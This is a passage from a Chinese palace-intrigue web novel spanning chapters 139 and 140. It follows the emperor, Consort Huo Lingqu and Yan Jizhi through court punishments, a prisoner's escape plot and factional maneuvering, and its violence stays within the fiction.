嬴忱璧一讶,没注意到贵妃有点微妙,还真被牵引着思虑了,更认同了:“这倒也是,以晏霁之现在的眼光,未必还能看得上玉藏珠。” 霍灵渠略感惊奇地看向皇帝,再不动声色的转移视线。 “贵妃,不如我们给晏霁之保个媒,试试他的意向。”嬴忱璧没想试探贵妃,就觉得这主意可行:“朕看丞相家的姑娘就不错,贵妃以为如何?” 霍灵渠在心里呵呵,皇帝可真能想。 “你想给他保媒,你就自己给他保媒,不要拽上我。”霍灵渠拒绝。 “为什么?”嬴忱璧顿时有想法了:“贵妃不愿意给晏霁之保媒吗?” 霍灵渠表示:“他的亲事只有他自己做主的份儿,没有我置喙的余地。” 嬴忱璧哄哄说:“咱们只是给晏霁之保个媒,试试他的意向而已。” “他嫌烦,不能试,否则他一定会报复我,我要倒霉的。”霍灵渠抢前道:“你不要跟我说晏霁之怎么会那么小心眼呢,他就是那么小心眼,没得商量。” 嬴忱璧冷哼:“是贵妃不愿意给晏霁之保媒吧?” 霍灵渠摆烂:“陛下想怎么想就怎么想吧。” “贵妃?!”皇帝见不得贵妃这调调,御前总管蒋厚运和步昂大统领赶来,有事禀告,化解了皇帝和霍贵妃可能即将出现的小冲突。 是皇帝今天惩戒过儿女们的延展,目下,大公主和二皇子、三皇子爬在钟萃宫小花园的大树上闹着要跳树,说是,父皇不疼爱他们了,他们还不如摔死算了。 霍灵渠还好,挺平淡的,反倒是嬴忱璧,一股厌恶油然而生,是的,厌恶。 139. 第139章 厌恶对谁?对最不安生的那个还是对涉事的一众都厌恶,皇帝不知道、没想过。 唯有厌恶之感清晰。 “又是杭婕妤的主意?”皇帝想笑,两天,才两天,在两天里这么闹腾,杭婕妤是多没把皇帝当回事儿啊,不是不当回事,是根本就只把他当做一滩泥吧。 嬴忱璧这一刻真是即刻处死杭婕妤的心都有。 御前总管仿佛能感受到危险气息地弯弯腰:“是,杭婕妤建议皇后娘娘派人怂恿二皇子和三皇子给楚昭仪出头,必要让两位皇子不达目的不能罢休,再让两位公主被霍才人害得出点差池,既矛头直指贵妃又能指摘不是生母根本不会照顾好皇嗣。 杭婕妤想如此可今天就能让公主们回到生母身边,是赖嬷嬷要让大公主陪弟弟们闹事,皇后娘娘同意了,杭婕妤拗不过,这才是大公主去了钟萃宫。 倪秀仪拦不住大公主,便一边派人来禀告一边陪着去钟萃宫。大公主要和弟弟们说话,不肯再让倪秀仪陪着,原想有宫人们在,没事的,倪秀仪便没有再看着。” 皇帝问:“皇后还在婵娟馆吗?” 蒋厚运恭谨禀道:“禀陛下,皇后娘娘已经回怡华宫了。” “杭婕妤和赖嬷嬷送入掖庭狱,让大皇子的奶娘一并进去,省得她影响大皇子休养。”正徽帝嬴忱璧处置道:“杭婕妤,用两个时辰大刑,五月都不必让她出掖庭狱了,一天给她送一碗水,两天给一个馒头,就这么给她送吃食。” “赖嬷嬷母女,用两天大刑,关三天,还给郭氏。楚昭仪,罚半年月银,至于郭氏?”嬴忱璧转向霍贵妃交代:“贵妃想再给她扎几针,贵妃都看着办吧。” 霍灵渠敛衽施礼,领旨、告退。 皇帝目送贵妃走远,再做安排:“宣谷王夫妇、滕王夫妇、乐邑长公主和驸马进宫,把二皇子和三皇子交给谷王夫妇,大公主交给滕王夫妇,二公主给她姑母。 让他们带皇嗣出宫照料半个月,五月十六再送回宫里,告诉他们,若是小辈们不懂事,该管教就管教,不必顾忌,也不必来见朕了,接着皇嗣就出宫去吧。” 蒋厚运镇定地领过旨意去办事。 皇帝独站会儿,步统领再杵到陛下面前,嬴忱璧吩咐:“给谷王府派一百名禁军过去,查查是谁帮大公主姐弟爬到树上去的,朕真不相信宫人这么不怕死。” 料理毕,嬴忱璧摆驾长春宫,去给将远行的湘王送行。 皇帝的安排传遍宫闱,对于儿女们闹着要跳树,皇帝都不现身,翁嫔、喻美人和还在钟萃宫的倪秀仪以及好些位太妃还是有点意外的,杭婕妤怎么就敢这样作死啊,还不就是仗着皇帝疼爱儿女嘛,谁想这回孩子们要跳树,陛下连去做做样哄哄都没有。 翁嫔想,陛下是真怒了吧,也是,这闹腾得,再不管束还能得了吗?! 待皇宫中的新传闻散开,瞬间盖过皇帝的安排——霍贵妃随便抓个怡华宫的宫女给套上皇后的服饰来顶替郭氏,把真正的郭氏以宫女偷盗的名义送入掖庭狱了! 阖宫都有点沸腾了。 翁嫔鼓着水汪汪的大眼睛憋半响,想,贵妃太明目张胆了吧。 皇帝嬴忱璧在距离长春宫外几丈远之处得到霍贵妃的最新大作,沉默片刻,下轿辇来,就在宫道上停驻,皇帝美其名曰:等贵妃过来,一起进长春宫。 长春宫外几丈远的动静,霍太后当然收到消息了,只做不知。 霍灵渠行至长春宫外见到皇帝,平静地给皇帝见礼。 嬴忱璧令宫人们退远,温和劝贵妃:“贵妃把郭氏送入掖庭狱会否太难看了?” 霍灵渠状若未懂:“臣妾就是让她在掖庭狱最阴森的囚房里待几个时辰,今夜亥时末就会让她回怡华宫了。皇后虽然怕痛但不记痛,扎针也没多少效用,还不如吓吓她,也不用谁特意去吓唬,她自己就能吓到自己,今夜回怡华宫后保管能病一场。” 嬴忱璧还能说什么?皇帝很官方地表示:“贵妃有心了。” 霍灵渠便有心地往前迈步,笑意温婉:“指鹿为马。” 嬴忱璧愣下,下刻就懊恼得有点糟心了,他这是又掉进贵妃的陷阱里了!贵妃在说,你看你对霍灵渠都少不了戒心,何况对霍家?你抱着这么大戒心还想留着霍灵渠,有意思吗,大权在握后你痛快放霍灵渠出宫岂还能不是对大家都好吗? 嬴忱璧想给贵妃解释又被拦住,霍灵渠提示:进长春宫吧,莫让太后操心。 皇帝只好来日再表心意,带贵妃去给湘王送行。 霍灵渠还奇怪,作甚让湘王下午出门啊?嬴忱璧告诉贵妃缘由,霍灵渠觉得她不该问,嬴忱璧顿时又有点不爽,这对上晏霁之就退避的德行,皇帝差点想恭维贵妃两句。 湘王这会儿其实已经被媳妇哄得差不多也被母后开解得差不多了,霍太后在小儿子面前表现得深明大义一派国母风范,待见到皇帝儿子,霍太后可没那么多深明大义了,明早出行能差什么,晏霁之折腾人,你这做兄长的就不知道拦? 皇帝给母后赔个不是再宽慰湘王,全都安抚好,皇帝还陪着湘王出宫了。 霍灵渠怪怪的,皇帝难道还要给湘王送行到城门前吗? 答案当然是不!一出皇宫,皇帝就撇下湘王夫妇,率队禁军策马飞骑而去。 长春宫这边,霍灵渠刚陪太后姑母去歇息,宫人就来报:御前总管求见贵妃。 霍灵渠遂返回长春宫的正殿,传御前总管进殿,问何事? “禀贵妃,大公主和两位皇子哭闹着不肯跟谷王和滕王走,楚昭仪心有不忍挺身而出,谷王和滕王不知该如何是好,请贵妃拿个主意。”蒋厚运道。 “又是大公主带头闹事?”霍灵渠了然一般含笑问,蒋厚运赔个笑,霍灵渠淡淡吩咐:“大总管去找霍雄鹰吧,让霍雄鹰把他们三姐弟绑起来让谷王和滕王带走,楚昭仪若是再阻拦就把她也绑了,御前的宫女不愿做,大总管只管来长春宫调人。” “贵妃羞煞奴婢们了,陛下口谕在前,楚昭仪胆敢违抗已是戴罪之身,奴婢们岂还有敢不遵贵妃号令的?”蒋厚运对于要把楚昭仪绑了一点负担都没有。 霍灵渠再问问二公主的情况,蒋厚运禀告过,退下去做事。 二公主已经被接走了,没人带头,二公主个三岁多的小娃能想闹什么事?乐邑和薛述聪进宫来让贴身伺候的宫人抱起二公主就走,出皇宫时二公主都睡着了。 乐邑和薛述聪还要给薛述嘉送行,回到显国公府,让宫人们抱二公主去歇息,他们就又不停歇地出门。但相较而言,他们倒没怨什么,是平原大长公主怨气颇重,什么差事这么急啊非得火急火燎地让孩子下午就出门? 送到京城城门前,碰见晏家人,平原大长公主真想刺一刺被显国公拦住了。 湘王对着晏霁之甩脸:“谁要你来送行?” “走吧。” “哼!!” 三个年轻的钦差和家人们告别过,不管是郁郁闷闷还是自觉可怜巴巴,都乖乖骑上宝马带着朝廷拨给他们的二十精锐铁骑扬鞭策马而去,去荆湖办差事。 稍站着目送会儿,送行队伍各自散去,薛述聪拉住晏霁之提个醒:“晏明潜明天回京,我过两天也要出京去办差了,他,我可暂且就交给你了。” “你放心。”晏霁之指指不远处的车队示意他还要送行,薛述聪问过这是谁,恍然道:“佟振羽兄妹明天要出狱了是吧,你故意让湘王做钦差还今天就走?” “我认为湘王适合做这个钦差而已。”晏霁之真心说:“防佟振羽只是顺带。” “得了吧你!”薛述聪摆摆手走了,晏霁之再走向不远处的车队,让佟梦如下午出发,他也能赶上来送一程:“小姨,慢行吧,一路顺风。” “好,霁之你也多保重。”佟梦如压住呛人的酸涩,再转向顺郡王和她的孩子们,挤出个笑意就钻进马车里,抱头吩咐出发,走,快走,走慢些,她怕忍不住要哭。 顺郡王也低落,没和前姨外甥寒暄,车队远去,他便带儿女们回府。 晏霁之仍然在原地站定,原牧炽蹿出来问他:“你想让我多留半个月?” “你不怕疯狗乱咬人,原家的女眷会有危险吗?你留在京中对虢王府好歹会有些震慑,你大哥五月十五到,你五月十五早上跟兄长打过照面再走,不差这几天。” 原牧炽想想他考量得也有道理吧:“行吧,我跟我大哥打过照面再走。” 晏霁之唇畔溢笑,似有兴味地关注着正在驶出城门的囚车,像是都没空理会身边的人。原牧炽顺着他的视线看去,怪道:“看什么呢,囚车有什么好看?” “这是佟太太的钟家表弟,我昨天特意请来的旨意,让他回滁州服刑,我好把他的家眷全部送走,这会儿看他们全都出城了,我感觉舒畅不少。”晏霁之解释。 原牧炽真想嘲笑,瞥见个孕妇在他们边上偷偷摸摸鬼鬼祟祟,皱眉斥:“你想干什么,别以为你大着个肚子你想干点坏事,小爷我就不会揍你啊?” “这是晏明潜的钟姨娘,佟太太的表侄女,刚刚囚车里那位的亲侄女。” “哦,就是你以前——”原牧炽融会贯通起来语调很乐,他没幸灾乐祸,就是好笑嘛,收到晏霁之的眼神杀,原牧炽咳嗽下很大度地不笑他了。 管住身边这个,晏霁之再看向钟姨娘,钟姨娘抿抿唇,压压脖颈微低低头,她就知道,她二婶突然举家回滁州还连跟她见一面都来不及、只让人给她送个口信就急不可耐赶回滁州跟晏霁之有关系,原来,真是晏霁之把她叔叔婶婶他们全都弄走了! 钟姨娘鼓起勇气想进攻,触及晏霁之的冷意,咬咬牙,带着丫鬟回去了。 原牧炽嫌:“你这事有点窝囊了吧,你爹娘护着也没得你这么轻易罢休吧。” 晏霁之反嫌:“你怎么知道钟姨娘身边的丫鬟不是我的人?” 原牧炽被噎地白他:“行行行,算你耐心好。”肯定又是在憋着什么坏了。 霍海啸走来,原牧炽感悟道:“我怎么觉着见到你没好事呢。” “会不会说话?”霍海啸随口斥声,自然略过道:“昌隆侯的幕僚驱使着虢王在刑部打点要进死牢见翟猛,翟猛在牢里也扑腾着要跟外面联络,陛下便漏个口子,让刑部放行,放他们见一面,要不要一起去看看?” 去!原牧炽当然去。 三人快马加鞭赶到刑部,不必刑部的人带路,他们自己走。四下幽静,晏霁之问霍海啸:“贵妃送了个偷盗皇后珠宝的宫女入掖庭狱?” 霍海啸刚嗯过,原牧炽就嘲笑:“你们两个装什么呀,谁还不知道——”蓦地迎上他俩‘你有本事说呀!’的注视,他当然不惧嚷出来,只是他发现有点说不出口,尝试两遍都卡在喉咙里,这事做得就是造孽,原牧炽郁闷地昂过头。 “你和贵妃谈过没有?此举与她今早给那位扎几针可不同。”晏霁之顾虑。 “父亲进宫和贵妃谈过了。”霍海啸笑道:“贵妃明察秋毫已经旗开得胜了。” 晏霁之愣下,哈哈乐起来,原牧炽问什么情况,霍海啸不予理会,晏霁之愉悦弯眸:“你想皇帝对贵妃此举该会有多大戒心,但若霍贵妃当面挑破皇帝的戒心呢?” 变成霍贵妃占上风?原牧炽看看他俩,有点愕然:“还能这么玩?” “能!”晏霁之心情真好:“不过仅限于霍贵妃对皇帝,霍家其他人不能。” 霍海啸面瘫都没压住自豪,原牧炽立时变成有点嫌弃霍海啸这德行。 来到翟猛的铁牢外,发现铁门已拉开空隙,三人相视眼,各自站定听着。 刑部为防止翟猛逃狱给他的是最高规格的牢房,囚室在地底下,四面都是厚重的石墙,牢门是整面铁门,整间囚室就只有顶部有个巴掌大的窗口给翟猛透气。这会儿,铁门会留出空隙当然不会是梅斗进牢房时没关好,那么自是皇帝已经在了。 “把京师搅浑,不然你们对我那姐夫没法交代!” 死牢里,翟猛披头散发、双手双脚都被铁链锁着,他挣扎着,狰狞着,像头要冲出囚笼而不得的猛兽一般嘶吼咆哮:“我不用你们出手,你们去找郢国公。 郢国公握着京畿西大营有的是兵马,只要他把霍海啸和晏霁之砍了嫁祸给原家,趁霍家和晏家大乱把我救出去,我和我姐夫一定记他的恩情,你们让他放心!” 梅斗死拧着眉头没说话,虢王犹豫:“这,这是不是找显国公稳妥一点,郢国公就算是握着京畿西大营也没显国公有用啊。” 一句话噎得梅斗差点闭气。 “显国公太精明,找他会适得其反。”翟猛压抑着火气喊:“找郢国公,郢国公哪怕一时不情愿也不会把你们供出来,但你们难道还连说服郢国公的本事都没有吗,你们看不出来,鞠家想坐收渔利吗?去找郢国公,十日内把事给我办了!” 虢王略感激动地安抚:“好好好,我和先生今夜就去找郢国公,你别激动。” 梅斗深吸口气再呼出提醒:“可你若是逃狱,你的家眷怎办?” 翟猛眼底一冷,安静些,狠心道:“非常之时,行非常之事。” 梅斗闻言,自己都不知是否被惊到一般求证:“你连一个儿子都不带?” 虢王刚才没懂,这下懂了:“翟猛你、你家眷死活,你都不管了?” “我顾得过来吗?”翟猛发飙,仿佛吼出来就能减少负罪感给自己安慰:“多带一个,我能出去的希望就少一成,我都顾不了自己了,我还怎么管家眷?” 站在石墙外的刑部尚书拍拍挡在前面的三个,霍海啸、晏霁之、原牧炽转身,看见刑部尚书陪着皇帝和太上皇,刚要行礼,太上皇就带他们走掉。 走出刑部监狱,来到空旷处,嬴忱璧让随行四人退下,唯他们父子二人时,皇帝说了件风马牛不相及的事:“父皇,朕想派人入夷洲岛。” 太上皇看向皇帝,嬴忱璧眼底含笑,貌若带着点点兴味:“若是夷洲岛大乱,想离开的必定会趁乱离去,朝廷自该帮那些想归家的人回家去;若有不愿意走的,就是命该如此了。孩儿现下想来晏霁之的塞北江南当真是妙哉。” “皇帝想让小六去?”太上皇略一沉吟就猜到皇帝有人选了。 “是,让原牧炽来走这趟再适当不过。”嬴忱璧似斟酌道:“原牧烈再有半月该进京了,让他们见上一面再各自办差吧,入夷洲岛也不是小事,朝廷得布置妥当保证这批人安稳,也不是说走就能走,就定在五月十五让原牧炽南下吧?” “好!”太上皇爽快同意了,嬴忱璧宽慰:“父皇,放心。” 皇帝再把霍海啸他们仨重新传回来,把差事派下,原牧炽尽量装做没什么表情地领旨,幸灾乐祸是谁都看出来了。皇帝又道:“随冠军侯入岛的精锐若是多恐打草惊蛇,朕以为或不能超过二百之数,冠军侯想要一百还是二百精锐?” 冠军侯?皇帝定是故意的!原牧炽被噎得再装厚道点:“禀陛下,一百足以。” “好,就给冠军侯派二百精锐随行。”嬴忱璧看向太上皇,太上皇再叮嘱几句,皇帝要把他们赶走时想起来:“朱家太夫人六月要过六十六岁大寿是吧?” 霍海啸应是,正徽帝嬴忱璧弯唇笑,摆摆手,让他们三个退下吧。 猜到皇帝意图的两人带着原牧炽行礼告退,走出一段路,原牧炽还在乐,那脸色真是、真是霍海啸都想踹他:“行了,非得让你老爹和老兄看你不顺眼?” “说什么呢,我姓原!”原牧炽斥,不过他高兴,几乎没有告诫意味。霍海啸略过他,转向晏霁之,肯定猜:“六月,我们都得南下吧?” “应该是。”晏霁之认同:“陛下应该是想给朱太夫人送份大礼了,你和原牧烈封矿之后转道去岛外接应,我,应该不止我一人,去朱家贺寿吧。” 原牧炽反应过来,嫌麻烦:“多大点事,小爷我什么刀山火海没见过,这么点事用得着摆这么大阵仗吗?我一个人上岛去,我都能把事给办了!” “行了!”晏霁之训:“非得让护国公在北境战场上都替你捏把汗啊?” 原牧炽郁闷得真想跟他呛一呛。 从刑部出来,太上皇去了蜀王府,皇帝虽有陪同,但没有进蜀王府的大门。 “今天出什么事了?”嬴忱璧刚站了站,魏王就出现了,皇帝遂让随行的侍卫退避些,告诉魏王:“蜀王报,昌隆侯在夷洲岛至少蓄了六万私兵。” “什么?”魏王差点想揪住嬴忱璧的衣襟,想质问,所有的话又被皇帝弟弟抬手挡住,示意这皇兄别烦他,魏王被憋得一肚子窝火,难怪昌隆侯敢这么狂了啊! 太上皇面对三儿也是满肚窝火:“这么大的事,你都不告诉父皇?” 阿胜赖洋洋的:“你又没问。” 太上皇瞬间被激得怒发冲冠:“寡人不问,你不知道说啊?” 阿胜理所当然:“你不问,我说什么?” 太上皇被气得暴跳如雷:“闹出反贼了,你总晓得反贼是什么吧?!” “你又没禅位给我。”阿胜反提醒。 “你非想气死你爹是不是?”太上皇气过头都冷静了。 “生气有助于舒筋活络,舒筋活络有助于延年益寿,我这是孝顺。”阿胜标榜。 很好,好得让太上皇差点没想给三儿扎两刀,问过夷洲岛的情况就走。 阿胜当然是不会送的。 蜀王府大宅外,皇帝和太上皇还有魏王都离去后,晋王才从墙角落走出来,面目嗤笑,老八个稚气未脱的小孩心性居然都领差事出门办差了!才几天,他就好像从云上掉进泥里,好像在父皇面前在朝堂都没有立足之地了。 嬴忱璧回到皇城,宫人来报:楚昭仪站在皇极宫前求见陛下。 “让她回钟萃宫。” 皇帝行至半路,小太监又跑来禀告:奴婢们请不走楚昭仪。 “贵妃是怎么做的?”皇帝问,小太监低头,嬴忱璧处置道:“楚昭仪闭门思过半月、停掉上半年月例,至于你们?若有下回,杖三十充入掖庭。” 若你们下回还不会执行命令——从昨天在拾翠阁,皇帝令你们请楚昭仪回钟萃宫、你们请不走楚昭仪起,几回了,若连最简单的命令都做不来还要你们何用?小太监听得真真的,连忙请罪,得陛下宽恕后再领旨意,跑回皇极宫去传令。 返回到皇极宫前,小太监再请楚昭仪回,楚昭仪还不肯走,他利落地请宫女姐姐拿布条来把楚昭仪绑起来送回钟萃宫,再传陛下口谕,罚楚昭仪闭门思过半月、停掉上半年月例!说完他还愣了愣,罚月例?宫里向来是罚月银的呀。 小太监琢磨下,去找大总管。 蒋厚运淡定:“嘿,这你有什么想不通,让楚昭仪自个儿掏钱呗,记住了,从即刻起到六月三十,楚昭仪哪怕要桶水都得她自己掏银两。嗳对了,陛下还罚过停楚昭仪半年月银,下半年恢复拨月例后楚昭仪还是没有月银的,可别记岔了。” “记住了记住了,大总管放心,奴婢们记住了,那钟萃宫的宫人呢?” 蒋厚运反问:“陛下罚钟萃宫的宫人了吗?” 小太监会心笑:“没有没有,大总管放心,奴婢这就去传令。” 可对钟萃宫,若自家娘娘被褫夺封号降位是让他们惊惶震动不安,楚昭仪被绑着送回来就不啻于是在他们心里掀起惊涛骇浪,这是陛下厌恶楚昭仪呀,否则为着两个皇子的体面,怎么都不至于陛下竟也如贵妃般让人把昭仪绑了呀。 楚昭仪进钟萃宫就把自己关在寝殿里,胡姑姑都不见,钟萃宫,人心浮动。 嬴忱璧回到帝王起居的皇极宫时很清净,皇帝步入大殿内,禁军统领呈上奏报。 奏报上就五个字:崇孝长公主。 崇孝长公主,皇帝的长姐,太上皇的长女,魏王的同母胞姐。嬴忱璧注视两息时间,把这份奏报放烛火上烧掉,只道:“朕还以为是哪位太妃呢。” 霍家差不多同时查到是谁帮大公主姐弟爬到树上去的,结果报给太后,霍太后淡淡得都没什么嘲讽味儿:“这是看魏王要得重用了,又心痒起来了。” “姑母,我们给魏王送个信吧,魏王应该不知道。”霍灵渠提议,得到太后姑母同意,霍灵渠即派宫人出宫趟去给魏王府送个食盒。 魏王刚回府,刚回府就收到贵妃的报信,气得他没控制住脾气,一掌拍在桌上,不是要为这么点小事跟长姐生气,但是真嫌这姐姐狭隘浅薄又不安生。 已是薄暮,萧灼灼看今天皇宫里的热闹看得跌宕起伏,难以置信令愔夫人一天内被褫夺封号降位昭仪、两个皇子全被送出宫、还陛下 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走好半响,萧灼灼才想懂,这么差劲的,霍家怎么可能看得上对付她?霍家不屑!萧灼灼真郁闷,这人就不能正常说话吗? 入夜,柳姑娘如约而至,借着夜色掩护进入英王世子的书房,拿到回信,晏诺便送客。柳丝缘未有怯意的问桌案对面之人:“世子不想知道江南的情况吗?” 晏霁之淡淡:“我更愿意和你父亲谈。” 柳丝缘闻言也没有任何异样,微笑着颔首告辞,晏诺送客出门。 独自时,晏霁之闭目靠在太师椅中,莫名的觉得累,他想她,好想。 夜在思念的绵密里接纳疲累,黑夜退,晨曦出,晏霁之独自站在窗前,坚毅孤怆的背影仿佛抒写着难以名状的沉重,又仿佛他什么都没想只是静静看日出。 今日休沐,他反而更早起来,在窗前站许久,收到霍雄鹰叔侄带霍桑柔出门的消息,他眼底逐渐凝起聚焦,紧随出门,去小觉庵的后山。 霍家,暴打庄太妃的旨意请下来了,霍枫叶和霍雄鹰带着霍桑柔来到山门前,霍桑柔跳下车厢就想往庵堂冲刺,霍雄鹰差点都没拉住她:“你知道人长什么样,又住在哪里吗,你认得小觉庵里面的路吗?你一阵傻啦吧唧的瞎跑有什么用?” 霍桑柔咬牙,忍住快要爆裂的仇恨之力,跟着他们走。 他们到来时庄太妃刚做完早课,打了桶水在屋前浇花,这些花草是她住下后亲自栽种,论对淡泊表象的修炼,庄太妃自是修炼得很好的。 看见霍家人,不认得冲着她满目凶狠的霍桑柔还能不认得霍雄鹰吗?看见这些霍家人,庄太妃一愣,还没反应,霍桑柔抓着拳,浑身的血都烧起来了:“就是你这个老太婆很可能才是真凶、大前天还又想害死我姐姐?!我打死你这个老太婆!” 霍桑柔风卷残云一般冲过去暴打,庄太妃这下是彻底不必有反应了。 霍枫叶冷漠看着,庄太妃怕是死都没想过她会落到这种境地。 一边倒的暴打持续半个多时辰,霍枫叶和霍雄鹰都觉得再打很可能要把庄太妃打死了,他俩架起霍桑柔撤。霍桑柔哪儿会肯走,积压十多年的仇才让她发泄这么一点点哪可能够,被架走时还在狂喊着放开她,她要打死这个老太婆…… 霍家人走远,躲藏在暗处的婢女和眼线们探出来,小步跑过去查看庄太妃。 屋前鲜血流淌,新栽种的嫩芽儿被打着血滴仿若是载着不能承受之重的艳丽。 晏霁之静立于山峦间似要与萧索融合,晏诺来报已安排妥当,他抬步往小觉庵走。 鞠家的婢女给庄太妃清洗好,两个在屋里守着,两个出小觉庵去报信以及请大夫,惑人心智的香气四溢,两个婢女迷迷糊糊得没多久就趴在桌上睡过去,反倒是被打得不省人事的庄太妃昏昏沉沉的醒来感觉自己如坠云雾像是入了仙境又像是陷入了浑噩。 晏霁之放轻脚步来到床榻前,盯着她两瞬,问:“温献皇后是不是你害死的?” …… 晏霁之出来时阳光正好,只是他周身寒气凛冽,再炙热的光照这一刻都暖不了他。 疾赶至武襄侯府,晏霁之候过片刻,侯瞻让出府来:“找我什么事?” “你爹娘真会取名啊,一个让,一个渥,你爹应该不偏心,但他放纵你娘偏心又何尝不是一种偏心?”晏霁之讥诮,侯瞻让驳道:“母亲老来得子,偏爱些是人之常情。” “偏爱些,是常情?”晏霁之恭维:“当真皇亲国戚!” 语毕,晏霁之走人,侯瞻让直觉阻拦:“你什么意思?” 晏霁之冷冷盯着他,眼底涌动,是触目惊心的恨意,侯瞻让微愣,随即就被狠狠撞开,侯瞻让再愣下冒起股诡异的感觉,晏霁之不可能来无的放矢吧? 远离武襄侯府,晏霁之赶往皇宫,皇帝得的信儿是,晏霁之要来缅怀表姐。 嬴忱璧能信吗?呵呵!皇帝他就等着抓包了。 晏霁之走进表姐生前住处,缅怀一个时辰后离开,出宫,嬴忱璧:“……” 想想他可能是有点小人之心了的皇帝嬴忱璧遂也去妹妹生前的住处看看,待过两刻钟,嬴忱璧去长春宫找霍贵妃,这都月末了,贵妃怎么还不搬回关雎宫? “我不想搬。” 霍灵渠心情郁郁,何止皇帝认为晏霁之缅怀过表姐后会过来长春宫,她当然也那么想,她还跑小厨房做糕点了就等着晏霁之过来。糕点做好许久,左等右等等不到晏霁之的身影,霍灵渠实在忍不住的派人去问问,竟是晏霁之已经出宫了。 这没什么不应该,进宫来缅怀表姐,悼念过了,自是出宫,还来长春宫反而假,可是,可是霍灵渠心里就是有些闷堵,若非在他缅怀表姐时她过去不大方便,她早跟过去一同缅怀四姐姐了,但,但她真的没想过晏霁之会直接出宫啊…… 嬴忱璧险些噎下:“这是太后住处,你是贵妃,岂有随太后长住之理?” 霍灵渠语气微微有些冲:“我又不侍寝,你管我住哪儿?” “胡闹!”嬴忱璧脱口训斥,就算贵妃暂时还不侍寝,皇帝也想留宿的好吧:“总之,绝没有贵妃随太后长住的理儿,太后也不会同意,贵妃难道想让太后来劝你?” 霍灵渠愤愤瞪他,姑母今早跟她提过了她该搬回关雎宫了,她不愿意而已。 贵妃闷着脸不肯说话,嬴忱璧哄道:“贵妃,莫使小性子,你再住长春宫真的不合适,这就随朕去向太后辞谢过就让宫人们收拾箱笼回关雎宫吧。” “我再住半个月吧。”强拗是拗不过的,这一点,霍灵渠也清楚,憋闷道:“五月十六,我再搬回关雎宫,也让翁嫔和小皇子多相处几天。” 嬴忱璧叹息:“好,就依贵妃,朕派人去知会拾翠阁。” 其实翁嫔已经让奴婢们收拾好了,霍贵妃派人来接,小皇子就能送过去。再给半个月,翁嫔眼睛酸酸的,抱起她的小皇子贴贴脸,这是霍贵妃收买人心的手段,她也感激。 庄太妃被暴打的消息传入宫闱,太妃宫苑沸腾了,沸腾过后,朱太妃第一个警觉,该如何拦住晋王和庄太妃碰面?召集她们过来,众人集思广益下想出个办法,让庄太妃睡着——晋王过去时就让庄太妃昏睡着,再让晋王尽快离京。 在晋王府麾下的势力肯定有不少想脱离了,晋王肯定要阻止,这不就能让晋王离京了。朱太妃率众汇聚到鞠太妃的病榻前想请郢国公运作让晋王在端午后就出京,鞠太妃还一遍遍沉浸在庄太妃被暴打的痛快中呢,闻言就爽快答应了。 皇宫外,今天还是许多人出狱的日子,佟家的六位,杭太太,郭太太。 狱卒们看这位被褫夺诰命的建威侯夫人郭太太还挺占便宜,虽然这话有点残忍,但确实是霍贵妃要把她关到月末时就已经是四月的尾声,关两天就能出来。 郭太太是建威侯府的管事来接的,不论亲儿还是算打发她的庶子都没来,她步履摇晃,人很憔悴,白头发虽然没多长,关这两天也让她的心一下老了好几岁。 杭太太倒在来接她的儿子怀里哭得委屈极了,杭大爷苦笑,前天他就去求过京兆尹,京兆尹没见他,派个狱卒就打发他了。人家说,你娘是有几颗脑袋啊在皇城门前撒泼,他苦苦陪着笑脸保证不会有下次了,狱卒像是听见了个笑话:你还想有下次? 你也不去打听打听现在大公主是谁在养?! 杭大爷看着扑在他怀里痛哭的母亲,他也好想哭,多年苦读就这么没了。 佟梦骜比佟家今天出狱的那批人早到些,一进城就直奔英王府,在英王府前没进门,但也没多等,晏煦之出来理会道:“我们家王爷和世子都不想见你。 我肯来见你是我觉得你至少还没有做梦做到不正常,我当你是正常人,你也别跟我杠,赶紧回佟家去吧,要不然你老娘他们出狱来,你还没把控住佟家,你会更遭罪。” 佟梦骜想见见他长姐,晏煦之有点不耐烦了,佟梦骜只得咬牙离开,去找他爹,在宅子外遇上那六人被狱卒送回来,没两三刻钟,他就知道晏煦之的意思了。 相比起来,当然是佟梦骜的手段比佟梦奭凌厉多了,他把大哥相当于压住的蛊惑住后就让佟卓伦兄弟去报官,告偷窃,没管老父反对,就把从晏家和霍家回来的这五十多个奴婢送四十多个进牢里,全等着去流放吧,没让他们上断头台都算是对他们客气了。 这批人中还剩的十个,想死就一起去,要不然就恪守住做奴婢的本份。 他对老娘都没手软,就把人绑起来扔在房里,看她还怎么祸害佟家! 在佟梦骜的雷霆举措下,佟梦姿娘仨暂且各自找间屋去休养,佟梦奭总算觉得松口气,他儿女们都觉得有了点主心骨,老太太被关在屋里没人给她送晚饭也是没人在意。 佟家落到这个地步,谁不恨啊?! 人,许多都惯于推脱责任给自己安慰,何况一直以来就是老太太闹得最凶,佟梦骜现在站出来指是老太太祸害了佟家,谁又还不愿意承认? 这些天,谁不恨啊! 把佟家管控住后,佟梦骜当夜就病倒了,这一路紧绷着心弦赶回来,在路上他差点就没撑住要病倒了,终于赶回佟家,暂且料理好家中,心弦一松哪还撑得住。 这一夜,佟家很安静,小觉庵里,人影相依偎。 140. 第140章 步入五月,初一,早朝,太上皇和皇帝同在,整个早朝最大的议题就围绕着塞北江南,罢免现任江南总兵并押解回京受审都被盖住了没掀起什么波澜。 初二,霍灵渠着贵妃朝服跪在宣政殿前,两刻钟后,皇帝出殿来,扶起贵妃,备銮驾,皇帝嬴忱璧带霍贵妃前往太微宫,没人知道霍贵妃要求什么,直到初三—— 霍灵渠从拾翠阁接走将养在她膝下的小皇子,去秦王府。 翁嫔目送着贵妃仪仗远走,还奇怪,秦王府? 好事者们都奇怪呢,贵妃仪仗出皇宫之后居然真是驶入秦王府。 霍灵渠抱着未满月的小皇子请见老秦王,老王爷派长随请贵妃走吧,他早已不理俗事。霍灵渠站定不动,一站半个多时辰,老王爷退让,请贵妃进门。 秦王府的儿孙们都陪在屋外候着,都心隐隐有点热,有种感觉,总有种感觉,秦王府沉寂十多年的清冷要结束了,霍贵妃是来送他们拨开阴霾重新展翅的! 霍灵渠进屋,看见比记忆中年老许多但刚毅依旧的老人,舒展笑:“爷爷。” “穆国公上个月就递过话,我知道,可,何必呢,我早已是隐退之人。”虽是同龄人,老秦王和霍擎各自外在给人的第一感观截然不同,霍擎随性,仿佛能跟他没大没小的玩乐;老王爷第一眼看来就很紧绷,不必言语就能感受到他的严厉。 他端坐着,仍然是大马金刀的浑厚:“孩子,爷爷也听说了,你这十几年过得很不容易,你是个好孩子,爷爷不让你难做,我今夜去找你祖父,我亲自和他谈。” 